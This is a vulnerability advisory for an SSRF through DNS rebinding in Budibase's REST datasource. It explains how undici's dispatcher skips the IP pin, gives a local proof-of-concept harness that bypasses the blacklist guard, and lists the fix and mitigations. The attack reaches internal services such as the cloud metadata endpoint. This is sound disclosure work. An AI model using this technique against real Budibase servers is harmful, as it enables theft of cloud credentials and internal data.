high · 8.5Jul 24, 2026

Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated Budibase builder can configure a REST datasource pointing at a DNS rebinding domain to make the server fetch from internal-only services, leaking cloud credentials, CouchDB contents…

Package@budibase/server
Ecosystemnpm
Affected<= 3.38.1
Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)

The problem

Budibase's SSRF guard (fetchWithBlacklist) resolves the target hostname, validates every IP against a blacklist, and pins the validated IP into a Node http.Agent so the connection cannot reach a different address.

The REST datasource integration (rest.ts) overrides the request transport with undici's fetch. undici does not honour the Node agent option; it uses its own dispatcher instead, which re-resolves DNS independently at connect time. The validated, pinned IP is therefore never used on this path.

An authenticated builder or tenant can point a REST datasource at a TTL-0 rebinding domain (public IP at validation time, internal IP at connect time) and receive the full response body from internal services such as the cloud metadata endpoint (169.254.169.254), internal CouchDB, Redis, or MinIO.

The REST datasource supports arbitrary method and body, so reads, writes, and deletes against unauthenticated localhost services are all possible.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

bash
# 1. Attacker controls a domain whose DNS TTL is 0.
#    Validation resolves to a public IP (passes blacklist).
#    At connect time it resolves to the internal target.
#
# Stand-in PoC using localhost (mirrors advisory's self-contained reproducer):

export BB=/path/to/budibase
mkdir ssrf-poc && cd ssrf-poc
SRC="$BB/packages/backend-core/src"

mkdir -p real/utils real/blacklist
cp "$SRC/utils/outboundFetch.ts" real/utils/
cp "$SRC/utils/fetch.ts"         real/utils/

# Stub: validation sees a safe public IP (rebinding simulation)
cat > real/blacklist/index.ts <<'EOF'
const SAFE = "203.0.113.10"
export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }
export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }
EOF

# Harness: real guard + real dispatcher, exact rest.ts call pattern
cat > entry.ts <<'EOF'
import http from "http"
import { fetch as undiciFetch } from "undici"
import { fetchWithBlacklist } from "./real/utils/outboundFetch"
import { getDispatcher } from "./real/utils/fetch"
async function main() {
  const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE"))
  await new Promise<void>(r => server.listen(0, "127.0.0.1", r))
  const port = (server.address() as any).port

  // REST/undici path -- mirrors rest.ts exactly
  const restFetchFn = (u: string, i: any) =>
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  const r: any = await fetchWithBlacklist(
    `http://localhost:${port}/`,
    { method: "GET" } as any,
    { fetchFn: restFetchFn }
  )
  console.log("(A) REST/undici ->", await r.text())
  // Expected: INTERNAL_SECRET_RESPONSE  <- guard bypassed
  server.close()
}
main()
EOF

npm init -y && npm install undici@6 node-fetch@2 esbuild
npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs
node entry.cjs

The root cause is a mismatch between how the security guard pins connections and how the REST transport actually connects. fetchWithBlacklist builds a Node http.Agent whose lookup always returns the validated IP, but undici's fetch ignores the agent key entirely and instead uses whichever dispatcher is supplied.

The dispatcher created by createDirectAgent is a plain undici Agent({ connect: { rejectUnauthorized } }) with no connect.lookup override, so undici performs its own DNS resolution at socket-open time. A TTL-0 rebinding domain can return a safe public IP for the guard's lookup and a blocked internal IP for undici's lookup, landing the TCP connection on an internal service.

This is a textbook CWE-367 (TOCTOU) combined with CWE-918 (SSRF); the fix must give the undici dispatcher the same IP-pinning behaviour that makePinnedAgent gives node-fetch, by overriding connect.lookup to return only pinnedIp.

The fix

Upgrade @budibase/server to 3.39.30 or later (fixed in commits 1fecb3f, 5758bdb, 586802b via PR #19178). The patch makes the undici dispatcher honour the pinned IP resolved by fetchWithBlacklist, mirroring the makePinnedAgent approach for node-fetch. If you cannot upgrade immediately, restrict who can create or edit REST datasources to fully trusted accounts, and enforce IMDSv2 on cloud instances to limit credential-theft impact.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research